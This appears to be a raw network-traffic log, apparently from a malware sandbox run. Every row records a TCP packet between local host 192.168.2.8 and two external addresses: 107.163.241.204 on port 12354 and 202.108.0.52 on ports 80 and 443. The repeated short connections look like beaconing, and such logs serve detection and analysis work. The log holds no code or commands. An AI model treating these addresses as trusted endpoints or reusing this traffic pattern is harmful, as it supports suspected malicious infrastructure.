Dec 11, 2024 16:29:34.626444101 CET	64100	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:34.626554012 CET	64219	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:34.627660036 CET	49502	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:34.673145056 CET	80	49248	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:34.674315929 CET	49248	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.741641998 CET	49609	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.741641998 CET	49608	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:34.750416994 CET	12354	49502	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:34.750592947 CET	49502	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:34.750951052 CET	49502	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:34.863249063 CET	80	49609	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:34.863292933 CET	12354	49608	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:34.863333941 CET	49609	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.863363981 CET	49608	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:34.863966942 CET	49609	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:34.864065886 CET	49608	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:34.873378038 CET	12354	49502	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:34.983974934 CET	80	49609	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:34.984148979 CET	12354	49608	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:36.437694073 CET	80	49609	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:36.438390970 CET	49609	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:36.442291975 CET	51286	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:36.442374945 CET	443	51286	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:36.442936897 CET	51286	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:36.442936897 CET	51286	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:36.442974091 CET	443	51286	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:36.880012989 CET	12354	49502	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:36.880101919 CET	49502	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:36.911652088 CET	49502	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:36.912317038 CET	51515	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:36.972910881 CET	12354	49608	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:36.975347996 CET	49608	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:36.988096952 CET	49608	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:37.037839890 CET	12354	49502	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:37.038548946 CET	12354	51515	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:37.040087938 CET	51515	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:37.044089079 CET	51515	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:37.111376047 CET	12354	49608	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:37.132666111 CET	51520	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:37.163568020 CET	12354	51515	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:37.252262115 CET	12354	51520	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:37.252336025 CET	51520	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:37.253204107 CET	51520	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:37.372776985 CET	12354	51520	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:38.150767088 CET	443	51286	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:38.152090073 CET	51286	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.152120113 CET	443	51286	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:38.156088114 CET	51286	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.156088114 CET	51286	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.156128883 CET	443	51286	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:38.156265974 CET	443	51286	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:38.160094976 CET	51286	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.160094976 CET	51286	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.274970055 CET	52488	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.276092052 CET	49609	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.399703979 CET	80	52488	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:38.399811029 CET	52488	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.400362015 CET	52488	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.414690018 CET	80	49609	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:38.416091919 CET	49609	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.524333000 CET	80	52488	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:38.642206907 CET	51520	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:38.642277956 CET	52488	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.642806053 CET	52952	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:38.643353939 CET	51515	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:38.758008003 CET	53123	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.758522034 CET	53124	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:38.762598038 CET	12354	52952	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:38.762677908 CET	52952	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:38.762950897 CET	52952	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:38.878011942 CET	80	53123	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:38.878031015 CET	12354	53124	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:38.878094912 CET	53123	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.878122091 CET	53124	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:38.878784895 CET	53123	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:38.878892899 CET	53124	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:38.882263899 CET	12354	52952	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:38.998100996 CET	80	53123	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:38.998790979 CET	12354	53124	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:40.503266096 CET	80	53123	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:40.503338099 CET	53123	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:40.509181976 CET	54578	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:40.509221077 CET	443	54578	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:40.509393930 CET	54578	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:40.510365963 CET	54578	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:40.510392904 CET	443	54578	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:40.895206928 CET	12354	52952	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:40.895503044 CET	52952	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:40.895926952 CET	52952	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:40.896553040 CET	54970	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:41.015427113 CET	12354	52952	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:41.016021013 CET	12354	54970	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:41.016108036 CET	54970	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:41.016377926 CET	54970	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:41.083144903 CET	12354	53124	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:41.083281040 CET	53124	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:41.086690903 CET	53124	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:41.088573933 CET	55119	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:41.139978886 CET	12354	54970	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:41.210273981 CET	12354	53124	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:41.212033033 CET	12354	55119	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:41.212114096 CET	55119	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:41.229962111 CET	55119	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:41.353600979 CET	12354	55119	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:42.214591980 CET	443	54578	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:42.214658976 CET	54578	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:42.215390921 CET	443	54578	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:42.215466976 CET	54578	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:42.219305992 CET	54578	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:42.219362974 CET	443	54578	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:42.219407082 CET	54578	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:42.334358931 CET	53123	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:42.335134983 CET	56175	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:42.486666918 CET	80	53123	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:42.486681938 CET	80	56175	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:42.486783981 CET	56175	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:42.486857891 CET	53123	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:42.487586021 CET	56175	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:42.630460024 CET	80	56175	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:42.658035040 CET	55119	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:42.658075094 CET	54970	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:42.658106089 CET	56175	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:42.658723116 CET	56410	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:42.774122953 CET	56516	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:42.774692059 CET	56517	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:42.784096956 CET	12354	56410	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:42.784173012 CET	56410	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:42.784818888 CET	56410	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:42.902400017 CET	12354	56516	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:42.902484894 CET	56516	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:42.903125048 CET	80	56517	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:42.903217077 CET	56517	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:42.905957937 CET	12354	56410	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:42.910907030 CET	56516	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:42.911252022 CET	56517	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:43.030433893 CET	12354	56516	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:43.030931950 CET	80	56517	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:44.478682995 CET	80	56517	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:44.478756905 CET	56517	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:44.505426884 CET	57913	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:44.505498886 CET	443	57913	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:44.505569935 CET	57913	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:44.506130934 CET	57913	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:44.506149054 CET	443	57913	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:44.895700932 CET	12354	56410	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:44.898998022 CET	56410	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:44.899585962 CET	56410	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:44.900011063 CET	58220	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:45.020401001 CET	12354	56516	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:45.020637035 CET	12354	56410	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:45.020967007 CET	56516	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:45.021254063 CET	12354	58220	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:45.021286011 CET	56516	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:45.021471024 CET	58220	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:45.021564960 CET	58374	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:45.021840096 CET	58220	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:45.141472101 CET	12354	56516	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:45.141732931 CET	12354	58374	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:45.142034054 CET	12354	58220	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:45.142410994 CET	58374	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:45.143280029 CET	58374	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:45.265341043 CET	12354	58374	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:46.189946890 CET	443	57913	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:46.190012932 CET	57913	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.190720081 CET	443	57913	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:46.190757990 CET	57913	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.198101044 CET	57913	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.198138952 CET	443	57913	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:46.198189974 CET	57913	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.318712950 CET	56517	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.319224119 CET	59803	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.564187050 CET	80	59803	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:46.564264059 CET	59803	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.564645052 CET	80	56517	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:46.564704895 CET	56517	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.565226078 CET	59803	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.673680067 CET	58220	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:46.673784971 CET	59803	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.673810005 CET	58374	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:46.674949884 CET	60101	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:46.685631990 CET	80	59803	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:46.685703993 CET	59803	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.794895887 CET	12354	60101	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:46.794971943 CET	60101	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:46.799254894 CET	60148	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:46.801489115 CET	60149	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.806201935 CET	60101	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:46.918698072 CET	12354	60148	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:46.919075012 CET	60148	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:46.919450045 CET	60148	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:46.920826912 CET	80	60149	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:46.920994997 CET	60149	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.921483040 CET	60149	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:46.925689936 CET	12354	60101	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:47.039000988 CET	12354	60148	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:47.040853024 CET	80	60149	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:48.487545013 CET	80	60149	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:48.487605095 CET	60149	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:48.514314890 CET	61380	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:48.514414072 CET	443	61380	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:48.514489889 CET	61380	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:48.515002966 CET	61380	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:48.515049934 CET	443	61380	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:48.927498102 CET	12354	60101	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:48.927588940 CET	60101	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:48.927942038 CET	60101	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:48.928677082 CET	61760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:49.036988974 CET	12354	60148	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:49.037091017 CET	60148	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:49.037898064 CET	60148	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:49.038367033 CET	61933	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:49.048520088 CET	12354	60101	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:49.048919916 CET	12354	61760	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:49.049026966 CET	61760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:49.049336910 CET	61760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:49.157552004 CET	12354	60148	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:49.157969952 CET	12354	61933	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:49.158268929 CET	61933	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:49.158698082 CET	61933	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:49.169441938 CET	12354	61760	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:49.278075933 CET	12354	61933	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:50.198168039 CET	443	61380	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:50.198242903 CET	61380	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.198945045 CET	443	61380	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:50.198978901 CET	61380	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.205789089 CET	61380	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.205859900 CET	443	61380	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:50.205913067 CET	61380	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.318140984 CET	60149	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.318619013 CET	63275	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.437932014 CET	80	63275	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:50.438000917 CET	63275	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.438153028 CET	80	60149	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:50.438219070 CET	60149	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.438637018 CET	63275	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.557941914 CET	80	63275	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:50.694250107 CET	61933	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:50.694283009 CET	63275	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.694406986 CET	61760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:50.695853949 CET	63631	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:50.803868055 CET	63685	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:50.804860115 CET	63686	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.821172953 CET	12354	63631	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:50.821305990 CET	63631	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:50.821471930 CET	63631	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:50.923358917 CET	12354	63685	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:50.923453093 CET	63685	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:50.924050093 CET	63685	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:50.924623966 CET	80	63686	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:50.924700022 CET	63686	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.925069094 CET	63686	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:50.940829039 CET	12354	63631	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:51.043381929 CET	12354	63685	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:51.044291019 CET	80	63686	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:52.492594004 CET	80	63686	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:52.495345116 CET	63686	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:52.614161968 CET	65448	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:52.614217043 CET	443	65448	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:52.614569902 CET	65448	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:52.618485928 CET	65448	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:52.618498087 CET	443	65448	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:52.943455935 CET	12354	63631	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:52.943528891 CET	63631	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:52.943742990 CET	63631	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:52.944077015 CET	49269	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:53.038417101 CET	12354	63685	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:53.039238930 CET	63685	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:53.039238930 CET	63685	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:53.051419020 CET	49419	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:53.063653946 CET	12354	63631	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:53.063668013 CET	12354	49269	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:53.063756943 CET	49269	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:53.064291000 CET	49269	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:53.158842087 CET	12354	63685	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:53.171356916 CET	12354	49419	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:53.171451092 CET	49419	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:53.172012091 CET	49419	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:53.185798883 CET	12354	49269	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:53.294152975 CET	12354	49419	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:54.312666893 CET	443	65448	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:54.312761068 CET	65448	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.313500881 CET	443	65448	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:54.313580990 CET	65448	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.338923931 CET	65448	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.339039087 CET	443	65448	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:54.339267015 CET	443	65448	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:54.342082024 CET	65448	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.342082024 CET	65448	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.454241991 CET	63686	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.454241991 CET	50887	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.575236082 CET	80	50887	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:54.575345039 CET	50887	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.575558901 CET	80	63686	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:54.575651884 CET	63686	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.578461885 CET	50887	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.704864979 CET	50887	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.704869032 CET	49269	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:54.704961061 CET	49419	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:54.706362009 CET	51005	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:54.781380892 CET	80	50887	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:54.782329082 CET	50887	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.821600914 CET	51116	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:54.821820021 CET	51117	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.827613115 CET	12354	51005	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:54.827696085 CET	51005	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:54.828353882 CET	51005	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:54.941020012 CET	12354	51116	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:54.941060066 CET	80	51117	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:54.941220045 CET	51116	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:54.941220999 CET	51117	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.943568945 CET	51116	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:54.943696976 CET	51117	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:54.948034048 CET	12354	51005	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:55.063024044 CET	12354	51116	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:55.063041925 CET	80	51117	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:56.534612894 CET	80	51117	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:56.534679890 CET	51117	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:56.573322058 CET	52767	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:56.573364019 CET	443	52767	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:56.573460102 CET	52767	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:56.574335098 CET	52767	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:56.574347973 CET	443	52767	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:56.943562984 CET	12354	51005	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:56.943656921 CET	51005	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:56.943970919 CET	51005	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:56.944749117 CET	53106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:57.063297033 CET	12354	51005	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:57.064141989 CET	12354	53106	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:57.064270020 CET	53106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:57.066359997 CET	53106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:57.083297968 CET	12354	51116	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:57.083364964 CET	51116	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:57.083786964 CET	51116	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:57.084351063 CET	53180	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:57.185878992 CET	12354	53106	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:57.203332901 CET	12354	51116	107.163.241.204	192.168.2.8
